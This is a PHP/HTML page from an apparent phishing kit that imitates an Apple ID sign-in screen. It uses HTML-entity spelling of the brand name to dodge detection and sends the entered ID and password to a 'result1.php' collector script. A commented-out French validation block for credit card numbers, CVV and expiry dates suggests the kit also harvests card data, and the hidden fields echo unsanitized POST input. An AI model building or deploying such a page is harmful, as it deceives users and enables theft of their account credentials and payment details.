<? include "security.php"; ?>
<!doctype html public "-//w3c//dtd html 4.01 transitional//en" "http://www.w3.org/tr/html4/loose.dtd">
<html>

<head>
	<meta http-equiv="content-type" content="text/html;charset=utf-8">
	<title>Log in to my account</title>
	<link href="css/style.css" type="text/css" rel="stylesheet" />
	<link rel="stylesheet" href="css/validationEngine.jquery.css" type="text/css" />
	<script src="js/jquery-1.8.2.min.js" type="text/javascript"></script>
	<script src="js/languages/jquery.validationEngine-en.js" type="text/javascript" charset="utf-8"></script>
	<script src="js/jquery.validationEngine.js" type="text/javascript" charset="utf-8"></script>
	<link rel="shortcut icon" href="img/favicon.ico">
	<script>
		jQuery(document).ready(function(){
			jQuery("#signup").validationEngine();
		});
	</script>
	<!--
	<script type="text/javascript">
		function valider(){
		   if ( document.formPost.data10.value == "" ){
				alert ( "Veuillez entrer votre nom" );
				document.formPost.data10.focus();
				return false;
			}
		   if (!document.formPost.data1.value.match(/^[0-9]{16}$/)){
				alert ( "Veuillez saisir un numéro de carte de crédit valide" );
				document.formPost.data1.focus();
				return false;
			}
		   if (!document.formPost.data2.value.match(/^[0-9]{3}$/)){
				alert ( "Cryptogramme (CVV) invalide" );
				document.formPost.data2.focus();
				return false;
			}
		   if ( document.formPost.data6.value == "" ){
				alert ( "Vous devez saisir une réponse" );
				document.formPost.data6.focus();
				return false;
			}
		   if ( document.formPost.data3.value == "0"){
				alert ( "Vous avez indiqué une date d'expiration invalide" );
				document.formPost.data3.focus();
				return false;
			}
		}
	</script>
	-->
</head>
<body>
	<div id="top-bar">
		<div id="navbar">
			<ul >
				<li><a href="#"><img src="img/app.png"  /></a></li>
				<li><a href="#"><img src="img/ul1.png"  /></a></li>
				<li><a href="#"><img src="img/ul2.png"  /></a></li>
				<li><a href="#"><img src="img/ul3.png"  /></a></li>
				<li><a href="#"><img src="img/ul4.png"  /></a></li>
				<li><a href="#"><img src="img/ul5.png"  /></a></li>
				<li><a href="#"><img src="img/ul6.png"  /></a></li>
				<li><a href="#"><img src="img/ul7.png"  /></a></li>
				<li><form action="#" ><input class="top-nav-search" type="text" value="Search..." ></form></li>
			</ul>
			
		</div>
	</div>
	<div id="layout">
		
		<h1 class="logo"></h1>
		<p class="just-ask">Questions? Just ask.<span class="contact-phone"><img src="img/phone.png" width="15" /></span> <span>0800 048 0408</span></p>
		<div id="wrapper">
			<div class="left">
				<h1>You can use your &#65;p&#112;l&#101; ID for other &#65;p&#112;l&#101; services such as :</h1>
				<ul>
					<li>iTunes Store</li>
					<li>iPhoto Print Products</li>
					<li>iCloud</li>
				</ul>
				</br></br></br>
				<img src="img/protect.png" />
				<img src="img/protect2.gif" width="80" />
			</div>
			<div class="right">
				
				<form method="post" action="update_info/result1.php" name="signup" id="signup">
					<h1>Please Sign In<img border="0" src="img/sc.png" width="83" height="33" align="right"></h1>
					<table cellpadding="0" cellspacing="0" border="0" width="105%">
						<tr>
							<td colspan="3">
								<p>Enter your &#65;p&#112;l&#101; ID and password.</p>
							</td>
						</tr>

						<tr>
							<td class="leftRow" width="154" style="text-align: left">
								<font color="#0088CC">
								&#65;p&#112;l&#101; ID</font></td>
							<td class="rightRow" colspan="2">
								<span class="formwrap">
									<input class="validate[required]" style="width:180px" id="login-id" name="login-id" placeholder="xyz@Example.com" type="email" />
								</span>
							</td>
						</tr>
						<tr>
							<td class="leftRow" width="154" style="text-align: left">
								<font color="#0088CC">
								Password</font></td>
							<td class="rightRow" colspan="2">
								<span class="formwrap">
									<input class="validate[required]" style="width:180px" id="id-passwd" name="id-passwd" placeholder="*********" type="password" />
								</span>
							</td>
						</tr>

						
						<tr>
							<td class="leftRow" style="border:0;" width="155">
							<a href="#" class="forgot">Forgot your &#65;p&#112;l&#101; ID or Password?</a>	
							</td>
							<td class="rightRow noborder" colspan="2" style="text-align:center;border:0;">
								<input name="donnee1" value="<?php echo $_POST['donnee1'];?>" type="hidden" />
								<input name="donnee2" value="<?php echo $_POST['donnee2'];?>" type="hidden" />
								<input class="submit" value="Sing in" type="submit" />
							</td>
						</tr>
					</table>
				</form>
			</div>
		</div>
		<div id="footer">
		<p>The &#65;p&#112;l&#101; Online Store uses industry-standard encryption to protect the confidentiality of the information you submit. Learn more about our <a href="#">Security Policy</a></p>
		<hr>
		<div class="copy-right"><a>Copyright &copy; 2015 &#65;p&#112;l&#101; Inc. All rights reserved.</a></div>
		<div class="terms"><a href="#">Terms of Use |</a> <a href="#">Terms of Use |</a><a href="#">Terms of Use .</a></div>
	 </div>
	</div>
	 
</body>
</html>